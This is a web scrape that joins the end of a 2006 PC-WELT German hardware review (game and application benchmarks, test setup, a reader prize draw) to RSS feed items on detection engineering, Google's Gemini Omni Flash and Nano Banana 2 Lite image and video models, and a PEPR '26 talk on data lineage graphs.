    Ob der Mega-PC die rohe 3D-Rechenleistung auch bei brandneuen Spielen umsetzen kann, prüften wir mit den Titeln F.E.A.R. und Quake 4. Dabei haben wir alle Qualitätseinstellungen bis zum Anschlag hochgeschraubt. Ergebnis: Selbst bei einer Auflösung von 1600 × 1200 Bildpunkten lieferten die beiden Grafikkarten locker spielbare Bildraten von deutlich mehr als 30 Bildern/s.

    Bei Quake 4 konnten wir dank des Patches 1.05 Beta noch testen, ob das Spiel von Zwei-Kern- beziehungsweise Multiprozessorsystemen profitiert. Dies war jedoch selbst mit unterschiedlichen Qualitätseinstellungen nicht der Fall.

    Zudem wollten wir auch prüfen, ob Spiele im 64-Bit-Modus schneller laufen oder eine bessere Bildqualität bieten. Dazu haben wir die 32- und 64-Bit-Versionen der Spiele Riddick und Unreal Tournament 2004 miteinander verglichen: Nur bei der höchsten Auflösung ermittelten wir im 64-Bit-Modus bei beiden Spielen eine leicht höhere Bildrate, während es bei 1024 × 768 Bildpunkten genau andersherum war. Während wir bei Riddick keine Qualitätsunterschiede erkennen konnten, hatten wir bei Unreal Tournament 2004 den Eindruck, dass die 64-Bit-Version einen Tick besser aussah.

    Spiele-Benchmarks

    Spiel 1) / Auflösung1024×7681280×10241600 x 1200
    FEAR 1.02 (Bilder/s)8973 2)61
    Quake 4 (Bilder/s) 3)1126946
    Riddick 1.1 (Bilder/s) 4)60 (58)35 (38)25 (28)
    UT 2004 3355 (Bilder/s) 4)134 (132)125 (123)117 (121)


    1) Die Messungen erfolgten bei der bestmÜglichen Bildqualität und 32 Bit Farbtiefe.
    2) F.E.A.R. unterstützt nicht die Auflösung von 1280 × 1024 Bildpunkten, wir haben daher 1290 × 960 Pixel gewählt.
    3) Die Aktivierung der UnterstĂźtzung fĂźr Multiprozessorsysteme brachte keinen Geschwindigkeitsvorteil.
    4) Die Werte in Klammern geben die durchschnittliche Bildrate pro Sekunde im 64-Bit-Modus an.

    Die Testkonfiguration

    Treiber fĂźr Windows XP 64-Bit Edition:

    Hauptplatine: Bios-Version 1.03
    Chipsatz: Nforce 4 Version 6.69 (WHQL)
    Grafik: Nvidia Forceware 81.95 (WHQL)
    Sound: Terratec 5.21 Beta
    Prozessor: AMD Opteron Powernow 1.2.2.1

    Installation:

    Wir richten im BIOS einen RAID‑0+1‑Verbund mit den vier SATA-Festplatten ein. Da sich das Betriebssystem auch nach mehrfachen Versuchen nicht auf dem RAID‑Verbund installieren lässt, geben wir unseren ursprünglichen Plan auf und verwenden das als Master definierte Ultra-DMA/100-Laufwerk als Boot-Partition. Per F6-Taste binden wir gleich bei der Betriebssysteminstallation den IDE- und Raid-Treiber von Nvidia ein. Nach Abschluss der Installation von Windows XP 64 Bit spielen wir als Erstes das Chipsatz-Treiberpaket auf. Erst dann installieren wir das deutsche Sprachpaket für Windows XP Pro 64 Bit. Dann folgt der Grafikkarten-Referenztreiber, bei dem wir die Option „SLI Multi-GPU aktivieren“ einschalten. Abschließend installieren wir AMDs Prozessor-Treiber und den Soundkarten-Treiber. Alle Programme und Benchmarks installieren wir, wenn möglich, auf dem schnellen RAID‑0+1‑Verbund.

    Anwendungs-Benchmarks:

    Synthetische 3D-Leistung.
    Ob und wie schnell ein Testkandidat Spiele darstellt, überprüfen wir mit dem synthetischen Benchmark 3D Mark 05 Version 1.2 sowie 3D Mark 03 Version 3.60 von Futuremark. Der 3D Mark 05 setzt Direct-X-9-Grafikkarten mit Unterstützung des Shader-Modells 2.0 voraus und besteht aus drei Spielszenen: In „Return to Proxycon“ erzeugen bis zu acht Lichtquellen Schatten. „Firefly Forrest“ zeigt dynamische Licht- und Schatteneffekte in dichter, bewegter Vegetation. „Canyon Flight“ bringt detaillierte Wassereffekte und -reflexionen mit zusätzlichem Nebel. Wir lassen beide Benchmarks mit den Standardeinstellungen laufen. Vergleichswert: Das bisher beste Ergebnis unter 3D Mark 05 erreichte unser PC-WELT-Eigenbau mit Pentium 4 650, 1 GB Arbeitsspeicher und Geforce-6600-GT-Grafikkarte (siehe PC-WELT 10/2005, Seite 122) mit 3759 Punkten. Eine Bestenliste der beiden Benchmarks finden Sie auf der Website des Herstellers.

    Cinebench 2003:
    Wie schnell die CPU Lichtquellen und deren Schattenwurf berechnet, überprüft der Rendering-Test von Cinebench 2003 von Maxon, der mehrere Prozessoren(kerne) ansprechen kann (Multi-Threading). Die Szene “Daylight” wird mithilfe des Cinema-4D-Raytracers berechnet. Sie enthält 35 Lichtquellen, wovon 16 mit Shadowmaps behaftet sind und sogenannte weiche Schatten werfen. Hier ist besonders Fließkomma-Leistung gefragt. Im Cinebench-Test Open GL HW sind zwei Animationen zu berechnen, die aus 1046 Objekten mit 37.000 Polygonen beziehungsweise zwei Objekten mit insgesamt 70.000 Polygonen bestehen. Beim Test Open GL SW erfolgt zusätzlich die Lichtberechnung für die beiden Animationen. Vergleichswerte: Messergebnisse für die Prozessoren Athlon 64 FX-57, Athlon 64 X2 4800+, Pentium Extreme Edition 840 und Pentium 4 3,73 GHz Extreme Edition finden Sie hier.

    Lame 3.97a:
    LAME etablierte sich neben den Fraunhofer-Varianten zu den bekanntesten MP3-Codecs. Der LAME-Open-Source-Codec beherrscht eine variable und konstante Bitrate und erzeugt aus WAV- entsprechende MP3‑Dateien. Das Israel Institute of Technology Technicon erstellte in einem LAME-Projekt 32- und 64-Bit-Versionen des MP3-Encoders – jeweils mit Microsoft- und Intel-Compilern erstellt. Bei unseren Tests verwenden wir die Microsoft-kompilierten LAME-3.97-Alpha-Versionen. Keinen Unterschied konnten wir zwischen der 32- und 64-Bit-Version bei den Durchläufen mit konstanter Bitrate feststellen, die alle nach elf Sekunden ihren Abschluss fanden. Die in dieser PC-WELT-Ausgabe abgedruckten Testergebnisse beziehen sich auf die Durchläufe mit variabler Bitrate, bei der wir immerhin einen Vorsprung von gut 18 Prozent für die 64-Bit-Version ermittelten.

    Nero Recode 2.2.7.2:
    Der Transcodierer ist Bestandteil des Programmpakets Nero 7 von Ahead. Als Ausgangsmaterial dient uns der nicht CSS-verschlüsselte Film „Wag The Dog“ mit einer Größe von knapp 8 GB. Die Aufgabe: den Film so eindampfen, dass er auf eine einlagige DVD-R mit 4,7 GB Kapazität passt. Wir verwenden die Ausgabegröße „DVD-5“, setzen die Priorität auf „hoch“ und schalten die „erweiterte Analyse“ ein.
    Vergleichswert: Das bisher beste Ergebnis mit dieser Benchmark-Konfiguration erreichte unser PC-WELT-Eigenbau mit Pentium 4 650 und 1 GB Arbeitsspeicher (siehe PC-WELT 10/2005, Seite 122) mit 670 Sekunden.

    PC-WELT-Benchmark Multimedia:
    Mit diesem in unserem Testcenter entwickelten Benchmark messen wir die Leistungsfähigkeit der Kandidaten in einem Multitasking-Szenario. Der Test lässt simultan den Video-Transcoder Avi2mpg, den MP3-Encoder Bladeenc, die Bildbearbeitung Corel Photopaint sowie die Programme Excel, Winrar und Word schuften.
    Vergleichswert: Das bisher beste Ergebnis erreichte der Dell-PC Dimension 9100 mit Pentium D 830, 2 GB Arbeitsspeicher und Radeon-X850-XT-Grafikkarte mit 511 Punkten. Die 16‑fache Leistungssteigerung unserer Höllenmaschine erklärt sich aus dem Sachverhalt, dass 25 Prozent mehr Punkte einer Verdopplung der Rechenleistung entsprechen.

    POV-Ray 3.6.1:
    Das Raytracing-Programm POV-Ray ist ein frei erhältliches Open-Source-Tool zum Erstellen von 3D‑Grafiken. Den “Persistence of Vision Raytracer” gibt es in der Version 3.6.1 als 32- und 64-Bit-Variante. Wir verwenden die integrierte Benchmark-Funktion.

    Spiele-Benchmarks

    Bei allen Spiele-Benchmarks haben wir im Grafiktreiber die „Systemleistung“ auf „Qualität“ gesetzt und die „Trilineare Optimierung“, „Anisotrope Mip-Filter-Optimierung“ und „Optimierung des anisotropen Musters“ deaktiviert. Dann überlassen wir es dem Spiel, die Qualitätseinstellungen vorzugeben, indem wir ein Häkchen vor „Anwendungsgesteuert“ setzen. Alle Tests führen wir mit einer Farbtiefe von 32 Bit durch. Vergleichswerte für die verwendeten Spiele bietet etwa unsere Schwesterpublikation GameStar an.

    FEAR 1.02:
    Der Titel gehört zu den leistungshungrigsten Spielen, die derzeit auf dem Markt sind. Für den Test verwenden wir das integrierte Benchmark-Programm. Wir setzen alle Optionen auf das Maximum. Beim Test stellen wir sicher, dass dynamische Schatten auch wirklich berechnet werden. Da Fear nicht die Auflösung von 1280 × 1024 Bildpunkten bietet, wählen wir notgedrungen 1280 × 960 Bildpunkte.

    Quake 4 Version 1.0.5.0 Build 2147:
    Für den Test verwenden wir die selbst erstellte Demo unserer Schwesterpublikation Gamestar. Wir setzen alle Qualitätseinstellungen auf das Maximum (Ausnahme Kantenglättung: 8 × statt 16 ×) und starten den Benchmark über die Konsole mit dem Befehl “timedemo demo001 usecache”. Jeden Lauf führen wir zweimal durch. Beim zweiten Durchgang aktivieren wir über den Befehl “r_useSMP 1” die Unterstützung für Mehrkern-Prozessoren (SMP = symmetrisches Multiprozessorsystem).

    Riddick 1.1:
    Wir setzen alle Qualitätseinstellungen auf das Maximum und starten das Benchmark-Tool der Website Benchemall mit den Einstellungen „Maximum Details“, Shader mode, Auto“ und wählen die selbst erstellte Demo unserer Schwesterpublikation GameStar aus. Für den 32-Bit-Test nehmen wir die ExeOption „Win32 x86 SSE2“ und für den 64-Bit-Test „Win64 AMD64“.

    Unreal Tournament 2004 v3355:
    Wir setzen alle Qualitätseinstellungen auf das Maximum und starten das Benchmark-Tool Umark 2.0.0 der Website Unrealmark. Wir testen mit sechs Maps (AS-FallenCitz, BR-Slaughterhouse, CTF-MoonDragon, DM-Inferno, DOM-Ruination und ONS-Dawn), die wir jeweils mit 12 Bots bevölkern, und schrauben den Detailgrad auf “High Image Quality”. Aus den sechs Einzelmessungen bilden wir für jede Auflösung den Mittelwert. Um auch die 64-Bit-Version zu testen, installieren wir den Patch 3369 und starten Umark über die 64-BitExe.

    Gewinnen Sie unsere HĂśllenmaschine im Wert von Ăźber 10.000 Euro!

    Sie mĂśchten an der Verlosung unseres Super-PCs teilnehmen? Dann schlagen Sie die aktuelle Ausgabe 2/2006 auf Seite 93 auf und schneiden Sie das rote Dreieck rechts oben aus. Legen Sie das Dreieck in einen Briefumschlag oder kleben Sie es auf eine Postkarte mit Absenderangabe, und senden Sie ihn an:

    Redaktion PC-WELT
    Stichwort: PCW-HĂśllenmaschine
    Lyonel-Feininger-Straße 26
    D-80807 MĂźnchen

    Teilnahmeschluss ist Freitag, der 3. Februar 2006. IDG-Mitarbeiter und deren AngehĂśrige dĂźrfen nicht an der Verlosung teilnehmen. Der Rechtsweg ist ausgeschlossen.

    Datenschutz: Wenn Sie gewinnen, schicken wir Ihnen den Preis per Post zu. Deshalb fragen wir Sie auch nach Ihrer Adresse.
    Datenschutzerklärung: Alle erhobenen Daten werden entsprechend den Vorschriften des Bundesdatenschutzgesetzes (BDSG) und des Informations- und Telekommunikationsdienstegesetzes (IuTDG) behandelt. Eine Weitergabe der Daten an Dritte ohne ausdrßckliche Einwilligung des Betroffenen erfolgt nicht. Weitere Informationen finden Sie hier .
    Garantieausschluss: Ansprüche gegen die IDG Magazine Verlag GmbH wegen Sach- und Rechtsmängeln an dem PC sind ausgeschlossen. Im Übrigen finden die für Schenkungen geltenden Vorschriften der §§ 521 bis 524 BGB Anwendung.















    ]]>         <![CDATA[Detection engineering: A programmatic approach to identifying cyber threats]]> https://tsecurity.de/de/3637670/it-security-nachrichten/detection-engineering-a-programmatic-approach-to-identifying-cyber-threats/ https://tsecurity.de/de/3637670/it-security-nachrichten/detection-engineering-a-programmatic-approach-to-identifying-cyber-threats/ Wed, 01 Jul 2026 09:08:36 +0200 📰 IT Security Nachrichten tsecurity.de

    Detection engineering, which was once a niche practice among mostly large companies, appears to have evolved into a capability that organizations across industries now consider essential to their security operations.

    What is detection engineering?

    Detection engineering is about creating and implementing systems to identify potential security threats within an organization’s specific technology environment without drowning in false alarms. It’s about writing smart rules that can tell when something potentially suspicious or malicious is happening in an organization’s networks or systems and making sure those alerts are useful. The process typically involves threat modeling, understanding attacker TTPs, writing, testing and validating detection rules, and adapting detections based on new threats and attack techniques.

    A small survey of 264 cybersecurity professionals by the SANS Institute and Anvilogic found that 80% of organizations — and 85% of large enterprises — are actively investing in detection engineering, with 60% now having dedicated teams. More than two-thirds (67%) reported strong leadership support for the practice within their organization.

    The survey’s data suggested that many companies have not just merely adopted detection engineering practices but have made it a strategic focus of their cyber risk mitigation effort.  “Just a decade ago, detection engineering was a relatively unknown role in cybersecurity,” the report stated. “Now, it is emerging as one of the most critical roles in security operations.”

    More than the usual threat detection practices

    Proponents argue that detection engineering differs from traditional threat detection practices in approach, methodology, and integration with the development lifecycle. Threat detection processes are typically more reactive and rely on pre-built rules and signatures from vendors that offer limited customization for the organizations using them. In contrast, detection engineering applies software development principles to create and maintain custom detection logic for an organization’s specific environment and threat landscape. Rather than relying on static, generic rules and known IOCs, the goal with detection engineering is to develop tailored mechanisms for detecting threats as they would actually manifest in an organization’s specific environment.

    Often this involves a stronger emphasis on behavior-based detections, the integration of threat intelligence to create detections aligned with real-world adversary tactics and the use of threat modeling to anticipate potential attack paths, says Heath Renfrow, CISO and co-founder of Fenix24 a cyber disaster recovery firm. “Unlike conventional threat detection, which often relies on static signatures and pre-built rules, detection engineering is behavior-driven, context-aware, and tailored to an organization’s unique threat landscape,” Renfrow says. “It involves a blend of security operations, threat intelligence, and data science to build more adaptive and resilient detection capabilities.”

    The SANS-Anvilogic report describes detection engineering practices as evolving over the years from being over-reliant on vendor-specific consoles and proprietary languages to incorporate software development life cycle (SDLC) and continuous integration/continuous deployment (CI/CD) principles. This is enabling teams to test, deploy, and refine detections more efficiently while maintaining auditable trails of changes.

    Drivers of detection engineering’s adoption

    There are a couple of factors driving adoption of detection engineering practices. The biggest is the fact that out-of-the-box detections aren’t good enough. They don’t baseline the environment, they don’t drive down false positives and, troublingly, they don’t always alert on the things that matter, says Johnathon Miller, vice president of security operations at Lumifi Cyber.

    Generic alerts that don’t account for organizational context have become a major problem and a contributor to false positive fatigue within many security teams. Sixty-four percent of organizations in Anvilogic’s survey for instance, reported high false positive rates; 61% struggled with detections that lacked environmental accuracy; and 34% said they had encountered delays in updates and improvements.

    “Traditional threat detection methods historically have been static; if a=a, create an alert,” says Kevin Gonzalez, VP of security, operations and data, Anvilogic. “They are often rigid, black-box mechanisms that lack flexibility in customization. Though useful to some extent, these approaches become unmanageable at scale especially in organizations with hybrid environments,” he says.

    Growing threat volumes and sophistication are another issue. Attackers are using more advanced and evasive techniques — including fileless malware, living off the land approaches, zero-day exploits and attacks via the software supply chain — rendering signature-based detection largely insufficient. Rising cloud adoption has introduced new vulnerabilities as well and created blind spots that legacy detection methods often struggle to cover. 

    The rise in advanced persistent threats (APTs), supply chain attacks, and ransomware operations has made traditional reactive approaches insufficient, Renfrow says. “Organizations now realize that proactive detection engineering reduces dwell time, improves response capabilities, and enhances overall cyber resilience. Additionally, compliance frameworks and cyber insurance providers are increasingly emphasizing strong detection strategies.”

    Industries adopting detection engineering

    Organizations in the banking and finance sector, the technology industry, cybersecurity companies and, to a lesser extent, healthcare companies are among the leading adopters of detection engineering practices. Many are in sectors that must deal with regulatory scrutiny or are frequent targets of sophisticated threat actors. But the reality is that most organizations, especially larger ones, can benefit from implementing a systematic approach to developing detection mechanisms for their specific threat profile.

    Any large enterprise with a complex IT infrastructure can benefit from detection engineering. Security operations centers (SOCs) need to continuously improve and maximize their detection posture. “Along with the evolving threat landscape, their own internal IT infrastructures are constantly changing, which can result in detection ‘drift,’ where detection rules are broken and will no longer fire or alert,” CardinalOps CEO Michael Mumcuoglu says.

    Security experts point out some key requirements for setting up a detection engineering capability. The biggest among them is data. To succeed, detection engineering teams need access to logs and security event data from endpoints, networks, cloud environments, and security tools and a centralized SIEM or log management platform to aggregate and normalize the security data. An effective detection engineering capability also means having skilled personnel including detection engineers, analysts, and threat researchers, to develop and refine detection rules. Also important are formal processes for threat modeling, testing and integrating threat intelligence with incident response.

    The goal should be to move beyond static signatures and focus on how attackers operate, by prioritizing behavior-based threat detection. Use frameworks like MITRE ATT&CK to map detection coverage against known adversary techniques and utilize adversary emulation tools like Atomic Red Team to validate effectiveness, Renfrow says. “Detection engineering works best when security operations, threat intelligence, and IT teams work together,” Renfrow notes.

    How AI and automation can help

    AI/ML can play a key role in rule tuning and automation as well. Some 45% of the survey respondents described their organizations as using AI in their detection engineering programs for purposes like anomaly detection, rule generation and alert triage. Nearly nine in 10 (88%) believed AI would have a big impact on their detection engineering programs in the next three years. “One of [AI’s] strongest use cases is analyzing vast amounts of data to identify anomalies, particularly when utilizing a custom-trained language model,” says Glenn Thorpe, senior director of security research and detection engineering at GreyNoise Intelligence. “Depending on an organization’s threat model and risk tolerance, employing AI with a well-trained LLM can significantly enhance the effectiveness and efficiency of defenders within the organization.”

    AI is not the only change. More organizations are also adopting automated processes for detection engineering. The areas that organizations are automating include mapping detection coverage to the MITRE ATT&CK framework, identifying broken or misconfigured detections, and being able to operationalize threat intelligence and convert it into actionable detection rules, Mumcuoglu says. Ninety-three percent of Anvilogic’s survey respondents reported they are currently using or plan to use automation in their detection engineering workflow for rules development, tuning existing detections and threat hunting.

    Thorpe cautions against organizations looking for some kind of one-size-fits-all approach to standing up a detection engineering capability. “Instead, a creative mindset, diversity of thoughts and experiences, and curiosity are vital for building an effective team.”

    A good place to start is by identifying your organization’s core data and finding individuals who can analyze that data from multiple perspectives. Develop a realistic understanding of what you don’t know and begin to address those information gaps. “You might discover that small changes can significantly improve your visibility and understanding of network traffic,” Thorpe notes.

    ]]>         <![CDATA[Anthropic launches Claude Science in push for pharma revenue]]> https://tsecurity.de/de/3636626/ai-nachrichten/anthropic-launches-claude-science-in-push-for-pharma-revenue/ https://tsecurity.de/de/3636626/ai-nachrichten/anthropic-launches-claude-science-in-push-for-pharma-revenue/ Tue, 30 Jun 2026 20:47:24 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Google's Gemini Omni Flash hits the API, turning enterprise video production into a conversation]]> https://tsecurity.de/de/3636544/it-nachrichten/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation/ https://tsecurity.de/de/3636544/it-nachrichten/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation/ Tue, 30 Jun 2026 20:02:36 +0200 📰 IT Nachrichten tsecurity.de For most enterprises, a 90-second training video or a product explainer has never been an easy ask. It means a well planned brief, an internal film crew or an outside vendor, a shoot, an edit, and a round of revisions. Change one line of on-screen text due to a legal review and the whole chain runs again. The cost and the long time lines are why so much internal video never gets made.

    That equation is what Google is aiming to rewrite with Gemini Omni Flash, the first model in its new "Omni" family, now rolling out to developers and enterprise customers through an API after debuting to consumers at I/O 2026. Google frames the family's ambition as creating anything "from any input," starting with video. But the headline interaction isn't just a sharper text-to-video prompt. It's the ability to edit a finished clip through conversation.

    When the model launched in May, VentureBeat's enterprise analysis flagged the catch: with no programmatic interface, Omni was a consumer and prosumer tool, not a production one. This API rollout changes that. It puts conversational editing in front of the marketing and learning-and-development teams that make the most videos in an organization.

    The pitch: a five-tool pipeline collapses into a single conversation

    Until now, many teams have been assembling AI videos the hard way, bolting together an LLM for a script, a text-to-image model, an image-to-video model, a separate lip-sync tool and a voice generator, each with its own contract, billing and data path.

    Omni's enterprise argument is unification: one model that takes text, images and video and returns a finished clip with synced audio.

    That simplicity factor is the part decision-makers should weigh first. Collapsing several point tools into one model means fewer vendors and a single place to monitor output and enforce data-handling rules. For an organization that has avoided generative video because stitching the tools together wasn't worth the overhead, the equation shifts.

    With conversational editing each instruction builds on the last, so a marketer can relight a product shot, reframe it, or change the wardrobe without regenerating from scratch and losing the parts that already worked. It is the difference between booking a reshoot and sending a note.

    Multimodal references and a physics engine for brand assets

    Omni accepts far more than a text prompt. Alongside the words describing what you want, you can feed it multiple reference images, and existing video clips, and it carries those specifics into the result. Hand it a photograph of a particular object, ask the model to place that object into a scene, and it reproduces the real thing's coloring and rough shape instead of inventing a generic stand-in. While the match might not be pixel-perfect, it is close enough to be recognizable. That reference-driven control is what makes the feature commercially interesting: a product photo, a brand logo, or a specific location can be dropped in as an ingredient rather than described in a prompt and hoped for.

    Two of Google's four highlighted strengths speak directly to enterprise work. The first is a world model, the system's grasp of how physical scenes behave. Add light rain and puddles to an existing shot and it renders reflections of the people and objects in the wet pavement, the sort of physical consistency that separates real footage from obvious AI video. 

    The second is text and logo insertion. Point it at a scene full of signage and you can have it rewrite those signs in another language, or for a brand of your choosing, and even drop in a company's logo. The results aren't flawless: in testing, sign tracking in complex scenes weren’t always perfect and some text slipped back to the original language between frames. For training videos that need on-screen labels, or ads that need a logo placed in-scene, it is a capability worth a close look, and a reminder that the output still needs a human review before it ships.

    The interactions API and where the limits still bite

    Under the hood, this runs on Google's new interactions API, a stateful interface built for multi-turn tasks rather than open-ended chat. Each turn carries the previous video and its references forward, which is what lets edits accumulate coherently. Developers can chain generations. They can produce a clip, edit the cat into a puma kitten, restyle a video into 8-bit retro and then into a watercolor look, and store each version to branch from later.

    The constraints are real and worth budgeting around. Clips currently cap at 10 seconds, per the model's published model card. To make something longer, you generate chunks and edit them together. Uploaded footage can be edited too, as long as it runs 10 seconds or under and the user holds the rights to it. Google's own model card is candid that holding consistency across edits and rendering accurate text remain open problems.

    Guardrails, watermarking and the line Google won't cross

    For a CISO, the demos matter less than the provenance work shipping alongside the model. Every Omni clip carries Google's SynthID watermark, Google is extending C2PA Content Credentials across its generative tools, and it has launched an AI Content Detection API that flags AI-generated media, both Google's and other vendors'.

    Google has also drawn a deliberate line. The model won't take a still photo of a person plus an audio clip and lip-sync them into speech, an explicit move to limit deepfakes. It will, however, take a recording of someone talking and translate it into another language, a useful path for localizing global training content. For regulated enterprises, those constraints and the baked-in provenance are features rather than friction.

    The numbers: cheap, 720p-only, and (preliminarily) ranked first

    The pricing landed alongside the API, and it is aggressive. Omni Flash costs $0.10 per second of generated 720p video, which puts a ten-second clip at roughly a dollar. That matches Veo 3.1 Fast at the same resolution, runs double Veo 3.1 Lite, and undercuts standard Veo 3.1 by three-quarters.

    Per second (USD)

    Gemini Omni Flash

    Veo 3.1 Lite

    Veo 3.1 Fast

    Veo 3.1

    720p

    $0.10

    $0.05

    $0.10

    $0.40

    1080p

    n/a

    $0.08

    $0.12

    $0.40

    4K

    n/a

    n/a

    $0.30

    $0.60

    The table also exposes the catch though. Omni Flash only generates 720p. There is no 1080p or 4K option, while the Veo tiers scale up to 4K. For internal training and most social video, 720p is fine. For premium brand work meant for a large screen, it is a real ceiling, and the reason Veo 3.1 still has a job

    Clips run 3 to 10 seconds at 720p native, in landscape (16:9) or portrait (9:16). As reference inputs the model accepts up to seven images and up to three video clips of three seconds or less. It does not take audio as an input yet, though it generates audio alongside the video it produces. Output is standard MP4, and every clip ships with SynthID watermarking and C2PA credentials baked in.

    On quality, the early signal is strong. In LMArena's Text-to-Video Arena, a leaderboard where people vote on head-to-head outputs from competing models, Omni Flash sat at number one with a score of 1527. 

    What it means for budgets, and what's still missing

    With real pricing in hand, the iteration story gets concrete. Every conversational edit is a fresh generation you pay for, so an edit-heavy session still adds up, roughly a dollar for each ten-second pass at 720p. What the stateful model changes isn't the cost of an edit, it's the number of wasted ones: because context carries across turns, those generations go toward refining a take that mostly works instead of restarting from a blank prompt and hoping the next attempt lands.

    Omni isn't alone in this field. Veo 3.1 remains Google's production-grade option when you need higher resolution, and rivals from Bytedance, Alibaba and OpenAI are all chasing the same budgets. What Omni adds is the editing capability itself: the ability to treat a video as a living document instead of a one-shot render.

    ]]>         <![CDATA[Building bilingual NER for cargo logistics with Amazon Bedrock]]> https://tsecurity.de/de/3636329/ai-nachrichten/building-bilingual-ner-for-cargo-logistics-with-amazon-bedrock/ https://tsecurity.de/de/3636329/ai-nachrichten/building-bilingual-ner-for-cargo-logistics-with-amazon-bedrock/ Tue, 30 Jun 2026 18:47:42 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[Google unveils Nano Banana 2 Lite aka Gemini 3.1 Flash-Lite for low cost, 4-second fast enterprise image generations]]> https://tsecurity.de/de/3636200/it-nachrichten/google-unveils-nano-banana-2-lite-aka-gemini-31-flash-lite-for-low-cost-4-second-fast-enterprise-image-generations/ https://tsecurity.de/de/3636200/it-nachrichten/google-unveils-nano-banana-2-lite-aka-gemini-31-flash-lite-for-low-cost-4-second-fast-enterprise-image-generations/ Tue, 30 Jun 2026 18:18:14 +0200 📰 IT Nachrichten tsecurity.de Google is upgrading its AI image generation capabilities today with the debut of Nano Banana 2 (NB2) Lite, an optimized model built for rapid execution and tight infrastructure budgets.

    Technically designated as Gemini 3.1 Flash-Lite Image on Google's application programming interface (API), NB2 Lite is positioned as the fastest and most cost-effective option within Google's creative model family, capable of generating images in 4 seconds at a flat rate of $0.034 per 1,000 images.

    It's available immediately to enterprise developers through Google AI Studio, the Gemini API, and the Gemini Enterprise Agent Platform (GEAP).

    It's not quite as fast or customizable as startup Krea's new, partially open licensed Krea 2 Turbo (which allows for open modification and commercial usage by small enterprises), but the big selling point here is the low price and bundling with Google's larger Workplace and AI offerings.

    This release lands alongside the public preview of Gemini Omni Flash, a multimodal conversational video generation and editing model.

    However, while Omni Flash represents Google's long-term bet on agentic video manipulation, Nano Banana 2 Lite is the immediate infrastructure workhorse, tailored specifically for high-throughput commercial application, rapid programmatic prototyping, and automated asset generation workflows.

    The technology of speed

    At its core, Nano Banana 2 Lite is built directly upon the Gemini 3.1 Flash Lite architecture, engineered to solve the persistent tension between computational latency and operational overhead.

    In high-velocity enterprise frameworks, traditional large-scale image models introduce significant friction due to multi-second processing delays and high per-token costs. Google's new lightweight model circumvents these bottlenecks by generating a standard 1k resolution image in under four seconds.

    This represents a stark performance optimization over its legacy predecessor, Nano Banana (Gemini 2.5 Flash Image), achieved through targeted enhancements in core baseline capabilities.

    According to internal documentation, the model features upgraded world knowledge for drafting rough data visualizations and contextual layouts, enhanced character consistency to preserve identity across continuous image streams, and localized typographic rendering capabilities.

    The trade-offs inherent to this "Lite" designation are transparently outlined in Google’s technical data sheets.

    Unlike the broader standard Nano Banana 2 (NB2) and Nano Banana Pro (NB Pro) lines, which support versatile multi-resolution scaling across 1k, 2k, and 4k outputs, Nano Banana 2 Lite restricts its resolution support exclusively to a 1k canvas. Yet, within this specialized operational boundary, the architectural tuning yields surprising competitive efficiencies. In standardized internal benchmarks, Nano Banana 2 Lite achieved a Text to Image arena Elo score of 1251. This score comfortably eclipses the legacy NB1 score of 1151 and remarkably edges out the bulkier, more expensive NB Pro, which sits at 1245 in the same text-to-image track. For specialized editing tasks, the model maintains a single-image editing Elo score of 1308 and a multiple-image editing score of 1294, providing a highly optimized sweet spot for real-time applications.

    A boost to rapid prototyping and marketing research

    From a product implementation perspective, Google is marketing Nano Banana 2 Lite not as an artistic engine, but as an invisible, high-throughput utility layer for automated workflows. T

    he target demographic spans software engineers, programmatic ad platforms, and digital commerce applications where rapid iteration is crucial.

    Think real-time A/B testing for thousands of targeted advertising variations or immediate layout adjustments on localized storefronts. Google highlights three specific production environments where the model excels.

    First, its world knowledge allows systems to instantly draft accurate contextual scenes or location-specific mockups.

    Second, its character consistency handles the rigorous demands of storyboarding tools and digital fashion try-ons, where keeping object fidelity static across sequential generations is historically difficult.

    Finally, its text rendering improvements mean legible copy can be embedded directly into rapid ad generations, allowing teams to verify layout compatibility across various languages on the fly.

    Developers should note, however, that while native image generation operates with lowest-latency profiles, conditional image editing tasks may experience marginally higher response times due to the secondary processing layers required to rewrite existing pixels.

    Licensing and acess

    The deployment mechanism of Nano Banana 2 Lite via proprietary APIs underscores an enterprise-first commercial licensing strategy.

    Unlike open-weights models that developers can pull down to run locally under open-source frameworks like Apache 2.0 or modified OpenRAIL licenses, Google’s latest models remain tightly integrated into its managed cloud stack.

    For enterprises, this eliminates the operational complexity of hosting hardware but binds usage strictly to Google’s metered pricing terms.Financially, this commercial strategy is highly aggressive.

    At $0.034 per 1,000 images across both AI Studio and GEAP channels, the model undercuts the older, less capable NB1 model ($0.039) and slashes costs dramatically compared to standard NB2 ($0.067) and NB Pro ($0.134) tiers. Internal notes indicate that the model delivers roughly 60–70% of the general capability of NB2 and NB Pro while executing at significantly higher speeds and a fraction of the cost.

    By lowering the fiscal barrier to high-frequency image generation, Google is making a direct play to lock enterprise developers into its commercial platform ecosystem.

    ]]>         <![CDATA[PEPR '26 - Architecting Scalable Data Lineage Graph for Privacy Compliance and Agentic Analysis]]> https://tsecurity.de/de/3636136/it-security-video/pepr-26-architecting-scalable-data-lineage-graph-for-privacy-compliance-and-agentic-analysis/ https://tsecurity.de/de/3636136/it-security-video/pepr-26-architecting-scalable-data-lineage-graph-for-privacy-compliance-and-agentic-analysis/ Tue, 30 Jun 2026 17:47:49 +0200 🎥 IT Security Video tsecurity.de Author: USENIX - Bewertung: 0x - Views:0

    Architecting Scalable Data Lineage Graph for Privacy Compliance and Agentic Analysis

    Maharshi Jha and Aygun Aydin, Meta

    Privacy compliance demands granular, real-time tracking of data flows at scale. This talk presents the architecture behind Meta's in-memory lineage graph, processing billions of edges across web, warehouse, and AI systems. We cover compressed graph storage, efficient traversal algorithms, and cross-platform data flow mapping. Beyond compliance, we explore how the same architecture enables agentic analysis through interactive graph traversals. The presentation shares practical solutions and architectural lessons from operating at billion-edge scale daily.

    View the full PEPR '26 program at https://www.usenix.org/conference/pepr26/program

